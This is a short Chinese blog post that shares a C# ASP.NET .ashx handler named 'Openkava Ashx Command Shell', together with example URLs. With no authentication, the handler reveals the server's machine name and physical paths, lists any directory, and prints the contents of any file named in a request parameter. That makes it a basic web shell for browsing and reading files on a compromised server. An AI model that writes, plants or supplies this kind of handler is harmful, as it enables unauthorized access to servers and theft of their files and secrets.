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编写的一个简单的ashx小程序

2007-11-03 23:34 260 查看

暂时实现列服务器目录和查看文件内容

具体用法
http://xxx.com/cmd.ashx?c=dir&c:\windows http://xxx.com/cmd.ashx?c=show&c:\boot.ini
<% @ webhandler language="C#" class="Sbm.Web.ApplicationCenter.Cmd" %>

using System;

using System.Web.SessionState;

using System.Drawing;

using System.Drawing.Imaging;

using System.Text;

using System.IO;

using System.Configuration;

using System.Collections;

using System.Web;

using System.Web.Security;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Web.UI.HtmlControls;

namespace Sbm.Web.ApplicationCenter

{

public class Cmd:System.Web.IHttpHandler

{

bool IHttpHandler.IsReusable

{

get { return true; }

}

void IHttpHandler.ProcessRequest(HttpContext context)

{

System.Text.StringBuilder sb=new System.Text.StringBuilder();

context.Response.AddHeader("Prama","no-cache");

context.Response.CacheControl="private";

context.Response.Expires=0;

context.Response.ContentType="text/html";

//获取参数

string c=context.Request["c"]; //命令

string p=context.Request["p"]; //命令需要参数

if(c==null || p==null) context.Response.Close();

c=c.Trim().ToLower();

p=p.Trim().ToLower();

sb.Append("<html><head>Openkava Ashx Command Shell <hr></head><body>");

//string path=Server.MapPath("dir.ashx");

sb.Append("系统参数：<hr>");

sb.Append(context.Server.MachineName+" ");

sb.Append("Physical path:"+context.Request.PhysicalApplicationPath +" ");

sb.Append("virtual file path:"+context.Request.CurrentExecutionFilePath +" ");

sb.Append("virtual root path:"+context.Request.ApplicationPath +" ");

sb.Append("<hr> ");

// context.Request.SaveAs("f:""request.txt",true);

//显示文件

if(c=="show")

{

StreamReader objReader = new StreamReader(p);

string sLine="";

while (sLine != null)

{

sLine = objReader.ReadLine();

if (sLine != null)

sb.Append(sLine+" ");

}

objReader.Close();

}

//显示目录

if(c=="dir" )

{

System.IO.DirectoryInfo d= new DirectoryInfo(p); //("f:""usr""cw3b058"); //

foreach (DirectoryInfo sub in d.GetDirectories())

{

sb.Append(sub.FullName+""" ");

}

foreach (FileInfo File in d.GetFiles())

{

sb.Append(File.FullName+" ");

}

}

sb.Append("<hr> ");

sb.Append("</body></html>");

context.Response.Output.Write(sb.ToString());

context.Response.Flush();

context.Response.Close();

}

}

}

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